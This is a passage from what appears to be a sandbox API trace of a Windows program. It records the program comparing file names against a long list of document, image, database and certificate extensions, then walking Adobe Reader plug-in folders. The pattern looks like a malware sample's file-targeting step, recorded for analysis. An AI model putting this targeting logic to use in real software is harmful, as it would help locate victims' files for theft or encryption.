returned 4 [0149.148] lstrcmpiW (lpString1=".j2k", lpString2=".CAT") returned 1 [0149.148] lstrlenW (lpString=".java") returned 5 [0149.148] lstrcmpiW (lpString1=".java", lpString2="h.CAT") returned -1 [0149.148] lstrlenW (lpString=".jp2") returned 4 [0149.148] lstrcmpiW (lpString1=".jp2", lpString2=".CAT") returned 1 [0149.148] lstrlenW (lpString=".jpc") returned 4 [0149.148] lstrcmpiW (lpString1=".jpc", lpString2=".CAT") returned 1 [0149.148] lstrlenW (lpString=".jpe") returned 4 [0149.148] lstrcmpiW (lpString1=".jpe", lpString2=".CAT") returned 1 [0149.148] lstrlenW (lpString=".jpeg") returned 5 [0149.148] lstrcmpiW (lpString1=".jpeg", lpString2="h.CAT") returned -1 [0149.148] lstrlenW (lpString=".jpf") returned 4 [0149.148] lstrcmpiW (lpString1=".jpf", lpString2=".CAT") returned 1 [0149.148] lstrlenW (lpString=".jpg") returned 4 [0149.148] lstrcmpiW (lpString1=".jpg", lpString2=".CAT") returned 1 [0149.148] lstrlenW (lpString=".jpx") returned 4 [0149.148] lstrcmpiW (lpString1=".jpx", lpString2=".CAT") returned 1 [0149.148] lstrlenW (lpString=".js") returned 3 [0149.148] lstrcmpiW (lpString1=".js", lpString2="CAT") returned -1 [0149.148] lstrlenW (lpString=".jsf") returned 4 [0149.149] lstrcmpiW (lpString1=".jsf", lpString2=".CAT") returned 1 [0149.149] lstrlenW (lpString=".json") returned 5 [0149.149] lstrcmpiW (lpString1=".json", lpString2="h.CAT") returned -1 [0149.149] lstrlenW (lpString=".jsp") returned 4 [0149.149] lstrcmpiW (lpString1=".jsp", lpString2=".CAT") returned 1 [0149.149] lstrlenW (lpString=".kdc") returned 4 [0149.149] lstrcmpiW (lpString1=".kdc", lpString2=".CAT") returned 1 [0149.149] lstrlenW (lpString=".kmz") returned 4 [0149.149] lstrcmpiW (lpString1=".kmz", lpString2=".CAT") returned 1 [0149.149] lstrlenW (lpString=".kwm") returned 4 [0149.149] lstrcmpiW (lpString1=".kwm", lpString2=".CAT") returned 1 [0149.149] lstrlenW (lpString=".lasso") returned 6 [0149.149] lstrcmpiW (lpString1=".lasso", lpString2="sh.CAT") returned -1 [0149.149] lstrlenW (lpString=".lbi") returned 4 [0149.149] lstrcmpiW (lpString1=".lbi", lpString2=".CAT") returned 1 [0149.149] lstrlenW (lpString=".lgf") returned 4 [0149.149] lstrcmpiW (lpString1=".lgf", lpString2=".CAT") returned 1 [0149.149] lstrlenW (lpString=".lgp") returned 4 [0149.149] lstrcmpiW (lpString1=".lgp", lpString2=".CAT") returned 1 [0149.149] lstrlenW (lpString=".log") returned 4 [0149.149] lstrcmpiW (lpString1=".log", lpString2=".CAT") returned 1 [0149.149] lstrlenW (lpString=".m1v") returned 4 [0149.149] lstrcmpiW (lpString1=".m1v", lpString2=".CAT") returned 1 [0149.149] lstrlenW (lpString=".m4a") returned 4 [0149.149] lstrcmpiW (lpString1=".m4a", lpString2=".CAT") returned 1 [0149.149] lstrlenW (lpString=".m4v") returned 4 [0149.149] lstrcmpiW (lpString1=".m4v", lpString2=".CAT") returned 1 [0149.150] lstrlenW (lpString=".max") returned 4 [0149.150] lstrcmpiW (lpString1=".max", lpString2=".CAT") returned 1 [0149.150] lstrlenW (lpString=".md") returned 3 [0149.150] lstrcmpiW (lpString1=".md", lpString2="CAT") returned -1 [0149.150] lstrlenW (lpString=".mda") returned 4 [0149.150] lstrcmpiW (lpString1=".mda", lpString2=".CAT") returned 1 [0149.150] lstrlenW (lpString=".mdb") returned 4 [0149.150] lstrcmpiW (lpString1=".mdb", lpString2=".CAT") returned 1 [0149.150] lstrlenW (lpString=".mde") returned 4 [0149.150] lstrcmpiW (lpString1=".mde", lpString2=".CAT") returned 1 [0149.150] lstrlenW (lpString=".mdf") returned 4 [0149.150] lstrcmpiW (lpString1=".mdf", lpString2=".CAT") returned 1 [0149.150] lstrlenW (lpString=".mdw") returned 4 [0149.150] lstrcmpiW (lpString1=".mdw", lpString2=".CAT") returned 1 [0149.150] lstrlenW (lpString=".mef") returned 4 [0149.150] lstrcmpiW (lpString1=".mef", lpString2=".CAT") returned 1 [0149.150] lstrlenW (lpString=".mft") returned 4 [0149.150] lstrcmpiW (lpString1=".mft", lpString2=".CAT") returned 1 [0149.150] lstrlenW (lpString=".mfw") returned 4 [0149.150] lstrcmpiW (lpString1=".mfw", lpString2=".CAT") returned 1 [0149.150] lstrlenW (lpString=".mht") returned 4 [0149.225] lstrcmpiW (lpString1=".mht", lpString2=".CAT") returned 1 [0149.225] lstrlenW (lpString=".mhtml") returned 6 [0149.225] lstrcmpiW (lpString1=".mhtml", lpString2="sh.CAT") returned -1 [0149.225] lstrlenW (lpString=".mka") returned 4 [0149.225] lstrcmpiW (lpString1=".mka", lpString2=".CAT") returned 1 [0149.225] lstrlenW (lpString=".mkidx") returned 6 [0149.225] lstrcmpiW (lpString1=".mkidx", lpString2="sh.CAT") returned -1 [0149.225] lstrlenW (lpString=".mkv") returned 4 [0149.225] lstrcmpiW (lpString1=".mkv", lpString2=".CAT") returned 1 [0149.225] lstrlenW (lpString=".mos") returned 4 [0149.225] lstrcmpiW (lpString1=".mos", lpString2=".CAT") returned 1 [0149.225] lstrlenW (lpString=".mov") returned 4 [0149.225] lstrcmpiW (lpString1=".mov", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".mp3") returned 4 [0149.226] lstrcmpiW (lpString1=".mp3", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".mp4") returned 4 [0149.226] lstrcmpiW (lpString1=".mp4", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".mpeg") returned 5 [0149.226] lstrcmpiW (lpString1=".mpeg", lpString2="h.CAT") returned -1 [0149.226] lstrlenW (lpString=".mpg") returned 4 [0149.226] lstrcmpiW (lpString1=".mpg", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".mpv") returned 4 [0149.226] lstrcmpiW (lpString1=".mpv", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".mrw") returned 4 [0149.226] lstrcmpiW (lpString1=".mrw", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".msg") returned 4 [0149.226] lstrcmpiW (lpString1=".msg", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".mxl") returned 4 [0149.226] lstrcmpiW (lpString1=".mxl", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".myd") returned 4 [0149.226] lstrcmpiW (lpString1=".myd", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".myi") returned 4 [0149.226] lstrcmpiW (lpString1=".myi", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".nef") returned 4 [0149.226] lstrcmpiW (lpString1=".nef", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".nrw") returned 4 [0149.226] lstrcmpiW (lpString1=".nrw", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".obj") returned 4 [0149.226] lstrcmpiW (lpString1=".obj", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".odb") returned 4 [0149.226] lstrcmpiW (lpString1=".odb", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".odc") returned 4 [0149.226] lstrcmpiW (lpString1=".odc", lpString2=".CAT") returned 1 [0149.226] lstrlenW (lpString=".odm") returned 4 [0149.227] lstrcmpiW (lpString1=".odm", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".odp") returned 4 [0149.227] lstrcmpiW (lpString1=".odp", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".ods") returned 4 [0149.227] lstrcmpiW (lpString1=".ods", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".oft") returned 4 [0149.227] lstrcmpiW (lpString1=".oft", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".one") returned 4 [0149.227] lstrcmpiW (lpString1=".one", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".onepkg") returned 7 [0149.227] lstrcmpiW (lpString1=".onepkg", lpString2="ash.CAT") returned -1 [0149.227] lstrlenW (lpString=".onetoc2") returned 8 [0149.227] lstrcmpiW (lpString1=".onetoc2", lpString2="lash.CAT") returned -1 [0149.227] lstrlenW (lpString=".opt") returned 4 [0149.227] lstrcmpiW (lpString1=".opt", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".oqy") returned 4 [0149.227] lstrcmpiW (lpString1=".oqy", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".orf") returned 4 [0149.227] lstrcmpiW (lpString1=".orf", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".p12") returned 4 [0149.227] lstrcmpiW (lpString1=".p12", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".p7b") returned 4 [0149.227] lstrcmpiW (lpString1=".p7b", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".p7c") returned 4 [0149.227] lstrcmpiW (lpString1=".p7c", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".pam") returned 4 [0149.227] lstrcmpiW (lpString1=".pam", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".pbm") returned 4 [0149.227] lstrcmpiW (lpString1=".pbm", lpString2=".CAT") returned 1 [0149.227] lstrlenW (lpString=".pct") returned 4 [0149.228] lstrcmpiW (lpString1=".pct", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".pcx") returned 4 [0149.228] lstrcmpiW (lpString1=".pcx", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".pdd") returned 4 [0149.228] lstrcmpiW (lpString1=".pdd", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".pdf") returned 4 [0149.228] lstrcmpiW (lpString1=".pdf", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".pdp") returned 4 [0149.228] lstrcmpiW (lpString1=".pdp", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".pef") returned 4 [0149.228] lstrcmpiW (lpString1=".pef", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".pem") returned 4 [0149.228] lstrcmpiW (lpString1=".pem", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".pff") returned 4 [0149.228] lstrcmpiW (lpString1=".pff", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".pfm") returned 4 [0149.228] lstrcmpiW (lpString1=".pfm", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".pfx") returned 4 [0149.228] lstrcmpiW (lpString1=".pfx", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".pgm") returned 4 [0149.228] lstrcmpiW (lpString1=".pgm", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".php") returned 4 [0149.228] lstrcmpiW (lpString1=".php", lpString2=".CAT") returned 1 [0149.228] lstrlenW (lpString=".php3") returned 5 [0149.228] lstrcmpiW (lpString1=".php3", lpString2="h.CAT") returned -1 [0149.229] lstrlenW (lpString=".php4") returned 5 [0149.229] lstrcmpiW (lpString1=".php4", lpString2="h.CAT") returned -1 [0149.229] lstrlenW (lpString=".php5") returned 5 [0149.229] lstrcmpiW (lpString1=".php5", lpString2="h.CAT") returned -1 [0149.229] lstrlenW (lpString=".phtml") returned 6 [0149.229] lstrcmpiW (lpString1=".phtml", lpString2="sh.CAT") returned -1 [0149.229] lstrlenW (lpString=".pict") returned 5 [0149.229] lstrcmpiW (lpString1=".pict", lpString2="h.CAT") returned -1 [0149.229] lstrlenW (lpString=".pl") returned 3 [0149.229] lstrcmpiW (lpString1=".pl", lpString2="CAT") returned -1 [0149.229] lstrlenW (lpString=".pls") returned 4 [0149.229] lstrcmpiW (lpString1=".pls", lpString2=".CAT") returned 1 [0149.229] lstrlenW (lpString=".pm") returned 3 [0149.229] lstrcmpiW (lpString1=".pm", lpString2="CAT") returned -1 [0149.229] lstrlenW (lpString=".png") returned 4 [0149.229] lstrcmpiW (lpString1=".png", lpString2=".CAT") returned 1 [0149.229] lstrlenW (lpString=".pnm") returned 4 [0149.229] lstrcmpiW (lpString1=".pnm", lpString2=".CAT") returned 1 [0149.229] lstrlenW (lpString=".pot") returned 4 [0149.229] lstrcmpiW (lpString1=".pot", lpString2=".CAT") returned 1 [0149.229] lstrlenW (lpString=".potm") returned 5 [0149.229] lstrcmpiW (lpString1=".potm", lpString2="h.CAT") returned -1 [0149.229] lstrlenW (lpString=".potx") returned 5 [0149.229] lstrcmpiW (lpString1=".potx", lpString2="h.CAT") returned -1 [0149.229] lstrlenW (lpString=".ppa") returned 4 [0149.229] lstrcmpiW (lpString1=".ppa", lpString2=".CAT") returned 1 [0149.229] lstrlenW (lpString=".ppam") returned 5 [0149.229] lstrcmpiW (lpString1=".ppam", lpString2="h.CAT") returned -1 [0149.229] lstrlenW (lpString=".ppm") returned 4 [0149.230] lstrcmpiW (lpString1=".ppm", lpString2=".CAT") returned 1 [0149.230] lstrlenW (lpString=".pps") returned 4 [0149.230] lstrcmpiW (lpString1=".pps", lpString2=".CAT") returned 1 [0149.230] lstrlenW (lpString=".ppsm") returned 5 [0149.230] lstrcmpiW (lpString1=".ppsm", lpString2="h.CAT") returned -1 [0149.230] lstrlenW (lpString=".ppt") returned 4 [0149.230] lstrcmpiW (lpString1=".ppt", lpString2=".CAT") returned 1 [0149.230] lstrlenW (lpString=".pptm") returned 5 [0149.230] lstrcmpiW (lpString1=".pptm", lpString2="h.CAT") returned -1 [0149.230] lstrlenW (lpString=".pptx") returned 5 [0149.230] lstrcmpiW (lpString1=".pptx", lpString2="h.CAT") returned -1 [0149.230] lstrlenW (lpString=".prn") returned 4 [0149.230] lstrcmpiW (lpString1=".prn", lpString2=".CAT") returned 1 [0149.230] lstrlenW (lpString=".ps") returned 3 [0149.230] lstrcmpiW (lpString1=".ps", lpString2="CAT") returned -1 [0149.230] lstrlenW (lpString=".psb") returned 4 [0149.230] lstrcmpiW (lpString1=".psb", lpString2=".CAT") returned 1 [0149.230] lstrlenW (lpString=".psd") returned 4 [0149.230] lstrcmpiW (lpString1=".psd", lpString2=".CAT") returned 1 [0149.230] lstrlenW (lpString=".pst") returned 4 [0149.230] lstrcmpiW (lpString1=".pst", lpString2=".CAT") returned 1 [0149.230] lstrlenW (lpString=".ptx") returned 4 [0149.230] lstrcmpiW (lpString1=".ptx", lpString2=".CAT") returned 1 [0149.230] lstrlenW (lpString=".pub") returned 4 [0149.230] lstrcmpiW (lpString1=".pub", lpString2=".CAT") returned 1 [0149.230] lstrlenW (lpString=".pwm") returned 4 [0149.230] lstrcmpiW (lpString1=".pwm", lpString2=".CAT") returned 1 [0149.230] lstrlenW (lpString=".pxr") returned 4 [0149.230] lstrcmpiW (lpString1=".pxr", lpString2=".CAT") returned 1 [0149.230] lstrlenW (lpString=".py") returned 3 [0149.230] lstrcmpiW (lpString1=".py", lpString2="CAT") returned -1 [0149.231] lstrlenW (lpString=".qt") returned 3 [0149.231] lstrcmpiW (lpString1=".qt", lpString2="CAT") returned -1 [0149.231] lstrlenW (lpString=".r3d") returned 4 [0149.231] lstrcmpiW (lpString1=".r3d", lpString2=".CAT") returned 1 [0149.231] lstrlenW (lpString=".raf") returned 4 [0149.231] lstrcmpiW (lpString1=".raf", lpString2=".CAT") returned 1 [0149.231] lstrlenW (lpString=".rar") returned 4 [0149.231] lstrcmpiW (lpString1=".rar", lpString2=".CAT") returned 1 [0149.231] lstrlenW (lpString=".raw") returned 4 [0149.231] lstrcmpiW (lpString1=".raw", lpString2=".CAT") returned 1 [0149.358] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x426df68 | out: hHeap=0x300000) returned 1 [0149.623] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1 [0149.623] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.624] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.624] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CZE", cAlternateFileName="")) returned 1 [0149.624] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.654] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1 [0149.654] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.654] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.654] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HRV", cAlternateFileName="")) returned 1 [0149.655] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.655] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1 [0149.655] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.655] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.655] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HUN", cAlternateFileName="")) returned 1 [0149.656] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.656] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1 [0149.656] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.656] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.656] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.POL", cAlternateFileName="")) returned 1 [0149.657] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.657] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1 [0149.657] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.657] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.657] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUM", cAlternateFileName="")) returned 1 [0149.658] 